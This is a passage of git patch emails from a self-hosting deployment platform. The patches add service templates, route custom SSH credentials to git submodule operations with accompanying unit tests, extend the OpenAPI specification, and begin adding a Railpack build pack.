From 9b65b82ccba58af4691f58ee095298007854bf96 Mon Sep 17 00:00:00 2001 From: Khiet Tam Nguyen Date: Sat, 31 Jan 2026 01:56:17 +1100 Subject: [PATCH 001/329] feat(template): cloudflare-ddns --- public/svgs/cloudflare-ddns.svg | 8 ++++++++ templates/compose/cloudflare-ddns.yaml | 20 ++++++++++++++++++++ 2 files changed, 28 insertions(+) create mode 100644 public/svgs/cloudflare-ddns.svg create mode 100644 templates/compose/cloudflare-ddns.yaml diff --git a/public/svgs/cloudflare-ddns.svg b/public/svgs/cloudflare-ddns.svg new file mode 100644 index 000000000..efe800bcc --- /dev/null +++ b/public/svgs/cloudflare-ddns.svg @@ -0,0 +1,8 @@ + + + + + + DDNS + + diff --git a/templates/compose/cloudflare-ddns.yaml b/templates/compose/cloudflare-ddns.yaml new file mode 100644 index 000000000..874f2cffb --- /dev/null +++ b/templates/compose/cloudflare-ddns.yaml @@ -0,0 +1,20 @@ +# documentation: https://github.com/favonia/cloudflare-ddns +# slogan: A small, feature-rich, and robust Cloudflare DDNS updater. +# category: automation +# tags: cloud, ddns +# logo: svgs/cloudflare-ddns.svg + +services: + cloudflare-ddns: + image: favonia/cloudflare-ddns:1 + network_mode: host + restart: unless-stopped + user: "1000:1000" + read_only: true + cap_drop: [all] + security_opt: [no-new-privileges:true] + environment: + - CLOUDFLARE_API_TOKEN=${CLOUDFLARE_API_TOKEN} + - DOMAINS=${DOMAINS} + - PROXIED=false + - IP6_PROVIDER=none From 90449d2bb5e7b8370dadb0899f511bb9c5b6c2cc Mon Sep 17 00:00:00 2001 From: Khiet Tam Nguyen <86177399+nktnet1@users.noreply.github.com> Date: Sun, 1 Feb 2026 13:55:44 +1100 Subject: [PATCH 002/329] fix: remove restart: unless-stopped Update templates/compose/cloudflare-ddns.yaml Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> --- templates/compose/cloudflare-ddns.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/templates/compose/cloudflare-ddns.yaml b/templates/compose/cloudflare-ddns.yaml index 874f2cffb..b44828a70 100644 --- a/templates/compose/cloudflare-ddns.yaml +++ b/templates/compose/cloudflare-ddns.yaml @@ -8,7 +8,6 @@ services: cloudflare-ddns: image: favonia/cloudflare-ddns:1 network_mode: host - restart: unless-stopped user: "1000:1000" read_only: true cap_drop: [all] From 96b9cd3fa543c4e78554af27607ab231d7122e60 Mon Sep 17 00:00:00 2001 From: Khiet Tam Nguyen <86177399+nktnet1@users.noreply.github.com> Date: Sun, 1 Feb 2026 13:56:09 +1100 Subject: [PATCH 003/329] fix: mark the API token env as required, and other env as configurable from the UI Update templates/compose/cloudflare-ddns.yaml Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> --- templates/compose/cloudflare-ddns.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/cloudflare-ddns.yaml b/templates/compose/cloudflare-ddns.yaml index b44828a70..92f857c41 100644 --- a/templates/compose/cloudflare-ddns.yaml +++ b/templates/compose/cloudflare-ddns.yaml @@ -13,7 +13,7 @@ services: cap_drop: [all] security_opt: [no-new-privileges:true] environment: - - CLOUDFLARE_API_TOKEN=${CLOUDFLARE_API_TOKEN} + - CLOUDFLARE_API_TOKEN=${CLOUDFLARE_API_TOKEN:?} - DOMAINS=${DOMAINS} - - PROXIED=false - - IP6_PROVIDER=none + - PROXIED=${PROXIED:-false} + - IP6_PROVIDER=${IP6_PROVIDER:-none} From b65f6399df736777a48498aca17c43f9609a5a1f Mon Sep 17 00:00:00 2001 From: Khiet Tam Nguyen <86177399+nktnet1@users.noreply.github.com> Date: Sun, 1 Feb 2026 16:52:14 +1100 Subject: [PATCH 004/329] fix: make domains env compulsory Update templates/compose/cloudflare-ddns.yaml --- templates/compose/cloudflare-ddns.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/cloudflare-ddns.yaml b/templates/compose/cloudflare-ddns.yaml index 92f857c41..4f29a98d4 100644 --- a/templates/compose/cloudflare-ddns.yaml +++ b/templates/compose/cloudflare-ddns.yaml @@ -14,6 +14,6 @@ services: security_opt: [no-new-privileges:true] environment: - CLOUDFLARE_API_TOKEN=${CLOUDFLARE_API_TOKEN:?} - - DOMAINS=${DOMAINS} + - DOMAINS=${DOMAINS:?} - PROXIED=${PROXIED:-false} - IP6_PROVIDER=${IP6_PROVIDER:-none} From dcd976ae065e1a2a003f62a12b29e49e41ac157e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 11 Mar 2026 11:30:58 +0100 Subject: [PATCH 005/329] fix(git): ensure ssh credentials are propagated to submodule operations - Add gitSshCommand parameter to setGitImportSettings and buildGitCheckoutCommand - Extract hardcoded ssh commands to variables for consistency - Apply custom ssh credentials to all git operations including submodule sync/update - Configure git url rewriting for github token-based authentication with submodules - Add comprehensive test suite for submodule credential propagation --- app/Models/Application.php | 41 +++++--- openapi.json | 27 +++++ openapi.yaml | 21 ++++ tests/Unit/GitSubmoduleCredentialTest.php | 122 ++++++++++++++++++++++ 4 files changed, 196 insertions(+), 15 deletions(-) create mode 100644 tests/Unit/GitSubmoduleCredentialTest.php diff --git a/app/Models/Application.php b/app/Models/Application.php index 34ab4141e..e622c9d54 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1087,12 +1087,14 @@ public function dirOnServer() return application_configuration_dir()."/{$this->uuid}"; } - public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null) + public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $gitSshCommand = null) { $baseDir = $this->generateBaseDir($deployment_uuid); $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; + $sshCommand = $gitSshCommand ?? 'ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null'; + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. // Invalid refs will cause the git checkout/fetch command to fail on the remote server. $commitToUse = $commit ?? $this->git_commit_sha; @@ -1102,9 +1104,9 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$sshCommand}\" git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$sshCommand}\" git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { @@ -1115,10 +1117,10 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; - $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; + $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"{$sshCommand}\" git submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$sshCommand}\" git lfs pull"; } return $git_clone_command; @@ -1301,12 +1303,18 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } } else { $github_access_token = generateGithubInstallationToken($this->source); + // Configure git to rewrite URLs with the token so submodules on the same host authenticate correctly + $escapedTokenUrl = escapeshellarg("{$source_html_url_scheme}://x-access-token:{$github_access_token}@{$source_html_url_host}/"); + $escapedHostUrl = escapeshellarg("{$source_html_url_scheme}://{$source_html_url_host}/"); + $gitConfigCommand = "git config --global url.{$escapedTokenUrl}.insteadOf {$escapedHostUrl}"; if ($exec_in_docker) { + $commands->push(executeInDocker($deployment_uuid, $gitConfigCommand)); $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}.git"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; $fullRepoUrl = $repoUrl; } else { + $commands->push($gitConfigCommand); $repoUrl = "$source_html_url_scheme://x-access-token:$github_access_token@$source_html_url_host/{$customRepository}"; $escapedRepoUrl = escapeshellarg($repoUrl); $git_clone_command = "{$git_clone_command} {$escapedRepoUrl} {$escapedBaseDir}"; @@ -1348,11 +1356,12 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } $private_key = base64_encode($private_key); $escapedCustomRepository = escapeshellarg($customRepository); - $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $deployKeySshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"; + $git_clone_command_base = "GIT_SSH_COMMAND=\"{$deployKeySshCommand}\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, gitSshCommand: $deployKeySshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1375,7 +1384,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$deployKeySshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $deployKeySshCommand); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1383,14 +1392,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$deployKeySshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $deployKeySshCommand); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$deployKeySshCommand}\" ".$this->buildGitCheckoutCommand($commit, $deployKeySshCommand); } } @@ -1411,6 +1420,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $escapedCustomRepository = escapeshellarg($customRepository); $git_clone_command = "{$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command, public: true, commit: $commit); + $otherSshCommand = "ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"; if ($pull_request_id !== 0) { if ($git_type === 'gitlab') { @@ -1420,7 +1430,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'github' || $git_type === 'gitea') { $branch = "pull/{$pull_request_id}/head:$pr_branch_name"; if ($exec_in_docker) { @@ -1428,14 +1438,14 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" git fetch origin $branch && ".$this->buildGitCheckoutCommand($pr_branch_name, $otherSshCommand); } elseif ($git_type === 'bitbucket') { if ($exec_in_docker) { $commands->push(executeInDocker($deployment_uuid, "echo 'Checking out $branch'")); } else { $commands->push("echo 'Checking out $branch'"); } - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" ".$this->buildGitCheckoutCommand($commit); + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"{$otherSshCommand}\" ".$this->buildGitCheckoutCommand($commit, $otherSshCommand); } } @@ -1684,13 +1694,14 @@ public function fqdns(): Attribute ); } - protected function buildGitCheckoutCommand($target): string + protected function buildGitCheckoutCommand($target, ?string $gitSshCommand = null): string { $escapedTarget = escapeshellarg($target); $command = "git checkout {$escapedTarget}"; if ($this->settings->is_git_submodules_enabled) { - $command .= ' && git submodule update --init --recursive'; + $sshCommand = $gitSshCommand ?? 'ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null'; + $command .= " && GIT_SSH_COMMAND=\"{$sshCommand}\" git submodule update --init --recursive"; } return $command; diff --git a/openapi.json b/openapi.json index 69f5ef53d..849dee363 100644 --- a/openapi.json +++ b/openapi.json @@ -3339,6 +3339,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -5864,6 +5873,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { @@ -10561,6 +10579,15 @@ "schema": { "type": "string" } + }, + { + "name": "docker_cleanup", + "in": "query", + "description": "Perform docker cleanup (prune networks, volumes, etc.).", + "schema": { + "type": "boolean", + "default": true + } } ], "responses": { diff --git a/openapi.yaml b/openapi.yaml index fab3df54e..226295cdb 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2111,6 +2111,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop application.' @@ -3806,6 +3813,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop database.' @@ -6645,6 +6659,13 @@ paths: required: true schema: type: string + - + name: docker_cleanup + in: query + description: 'Perform docker cleanup (prune networks, volumes, etc.).' + schema: + type: boolean + default: true responses: '200': description: 'Stop service.' diff --git a/tests/Unit/GitSubmoduleCredentialTest.php b/tests/Unit/GitSubmoduleCredentialTest.php new file mode 100644 index 000000000..1adaf735f --- /dev/null +++ b/tests/Unit/GitSubmoduleCredentialTest.php @@ -0,0 +1,122 @@ +application = new Application; + $this->application->forceFill([ + 'uuid' => 'test-app-uuid', + 'git_commit_sha' => 'HEAD', + ]); + + $settings = new ApplicationSetting; + $settings->is_git_shallow_clone_enabled = false; + $settings->is_git_submodules_enabled = true; + $settings->is_git_lfs_enabled = false; + $this->application->setRelation('settings', $settings); + }); + + test('setGitImportSettings uses provided gitSshCommand for submodule update', function () { + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive') + ->toContain('git submodule sync'); + }); + + test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () { + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive'); + }); + + test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () { + $this->application->git_commit_sha = 'abc123def456'; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout'); + }); + + test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () { + $this->application->git_commit_sha = 'abc123def456'; + $this->application->settings->is_git_shallow_clone_enabled = true; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin'); + }); + + test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () { + $this->application->settings->is_git_lfs_enabled = true; + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: false, + gitSshCommand: $sshCommand + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull'); + }); + + test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () { + $sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa'; + + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main', $sshCommand); + + expect($result) + ->toContain("git checkout 'main'") + ->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive'); + }); + + test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () { + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main'); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive'); + }); + + test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () { + $this->application->settings->is_git_submodules_enabled = false; + + $method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand'); + $result = $method->invoke($this->application, 'main'); + + expect($result) + ->toContain("git checkout 'main'") + ->not->toContain('submodule'); + }); +}); From 3afc1d46dea06ebe1a7e931ff12d000b1f269a76 Mon Sep 17 00:00:00 2001 From: Mattia Trapani Date: Thu, 19 Mar 2026 16:08:39 +0100 Subject: [PATCH 006/329] Fix environment variable defaults in rallly.yaml - SERVICE_URL already includes protocol - SMTP_SECURE and SMTP_TLS_ENABLED need a default value --- templates/compose/rallly.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/rallly.yaml b/templates/compose/rallly.yaml index 0dfc84c56..477dd6a5d 100644 --- a/templates/compose/rallly.yaml +++ b/templates/compose/rallly.yaml @@ -32,15 +32,15 @@ services: - SERVICE_URL_RALLLY_3000 - DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@rallly_db:5432/${POSTGRES_DB:-rallly} - SECRET_PASSWORD=${SERVICE_PASSWORD_64_RALLLY} - - NEXT_PUBLIC_BASE_URL=https://${SERVICE_URL_RALLLY} + - NEXT_PUBLIC_BASE_URL=${SERVICE_URL_RALLLY} - ALLOWED_EMAILS=${ALLOWED_EMAILS} - SUPPORT_EMAIL=${SUPPORT_EMAIL:-support@example.com} - SMTP_HOST=${SMTP_HOST} - SMTP_PORT=${SMTP_PORT} - - SMTP_SECURE=${SMTP_SECURE} + - SMTP_SECURE=${SMTP_SECURE:-false} - SMTP_USER=${SMTP_USER} - SMTP_PWD=${SMTP_PWD} - - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED} + - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED:-false} healthcheck: test: ["CMD-SHELL", "bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1"] interval: 5s From 485a57fb1b2319f3b02991bb13f28cb40f8bbe01 Mon Sep 17 00:00:00 2001 From: Mattia Trapani Date: Thu, 19 Mar 2026 16:11:50 +0100 Subject: [PATCH 007/329] SMTP_TLS_ENABLED deprecated --- templates/compose/rallly.yaml | 1 - 1 file changed, 1 deletion(-) diff --git a/templates/compose/rallly.yaml b/templates/compose/rallly.yaml index 477dd6a5d..45cb51aff 100644 --- a/templates/compose/rallly.yaml +++ b/templates/compose/rallly.yaml @@ -40,7 +40,6 @@ services: - SMTP_SECURE=${SMTP_SECURE:-false} - SMTP_USER=${SMTP_USER} - SMTP_PWD=${SMTP_PWD} - - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED:-false} healthcheck: test: ["CMD-SHELL", "bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1"] interval: 5s From 793077d74fdbadc3c7388f13cfc6e4135dc96bf4 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Mon, 23 Mar 2026 17:12:02 +0000 Subject: [PATCH 008/329] feat(buildpack): add Railpack as a build pack option --- app/Enums/BuildPackTypes.php | 1 + .../Api/ApplicationsController.php | 10 +- app/Jobs/ApplicationDeploymentJob.php | 176 +++++++++++++++++- app/Livewire/Project/Application/General.php | 2 +- .../Project/New/GithubPrivateRepository.php | 4 +- .../New/GithubPrivateRepositoryDeployKey.php | 4 +- .../Project/New/PublicGitRepository.php | 4 +- app/Models/Application.php | 24 ++- docker/coolify-helper/Dockerfile | 20 ++ openapi.json | 6 + openapi.yaml | 11 +- .../project/application/general.blade.php | 11 +- ...ub-private-repository-deploy-key.blade.php | 1 + .../new/github-private-repository.blade.php | 1 + .../new/public-git-repository.blade.php | 1 + .../ApplicationBuildpackCleanupTest.php | 46 +++++ tests/Feature/ApplicationRailpackTest.php | 168 +++++++++++++++++ tests/Feature/BuildpackSwitchCleanupTest.php | 23 +++ 18 files changed, 485 insertions(+), 28 deletions(-) create mode 100644 tests/Feature/ApplicationRailpackTest.php diff --git a/app/Enums/BuildPackTypes.php b/app/Enums/BuildPackTypes.php index cb51db6d6..eee898823 100644 --- a/app/Enums/BuildPackTypes.php +++ b/app/Enums/BuildPackTypes.php @@ -8,4 +8,5 @@ enum BuildPackTypes: string case STATIC = 'static'; case DOCKERFILE = 'dockerfile'; case DOCKERCOMPOSE = 'dockercompose'; + case RAILPACK = 'railpack'; } diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 3444f9f14..4abf1c6e0 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -150,7 +150,7 @@ public function applications(Request $request) 'environment_uuid' => ['type' => 'string', 'description' => 'The environment UUID. You need to provide at least one of environment_name or environment_uuid.'], 'git_repository' => ['type' => 'string', 'description' => 'The git repository URL.'], 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], - 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], + 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], @@ -318,7 +318,7 @@ public function create_public_application(Request $request) 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], - 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], + 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], 'description' => ['type' => 'string', 'description' => 'The application description.'], 'domains' => ['type' => 'string', 'description' => 'The application URLs in a comma-separated list.'], @@ -483,7 +483,7 @@ public function create_private_gh_app_application(Request $request) 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], - 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], + 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], 'description' => ['type' => 'string', 'description' => 'The application description.'], 'domains' => ['type' => 'string', 'description' => 'The application URLs in a comma-separated list.'], @@ -644,7 +644,7 @@ public function create_private_deploy_key_application(Request $request) 'environment_name' => ['type' => 'string', 'description' => 'The environment name. You need to provide at least one of environment_name or environment_uuid.'], 'environment_uuid' => ['type' => 'string', 'description' => 'The environment UUID. You need to provide at least one of environment_name or environment_uuid.'], 'dockerfile' => ['type' => 'string', 'description' => 'The Dockerfile content.'], - 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], + 'build_pack' => ['type' => 'string', 'enum' => ['nixpacks', 'railpack', 'static', 'dockerfile', 'dockercompose'], 'description' => 'The build pack type.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], 'name' => ['type' => 'string', 'description' => 'The application name.'], @@ -2318,7 +2318,7 @@ public function delete_by_uuid(Request $request) 'git_branch' => ['type' => 'string', 'description' => 'The git branch.'], 'ports_exposes' => ['type' => 'string', 'description' => 'The ports to expose.'], 'destination_uuid' => ['type' => 'string', 'description' => 'The destination UUID.'], - 'build_pack' => ['type' => 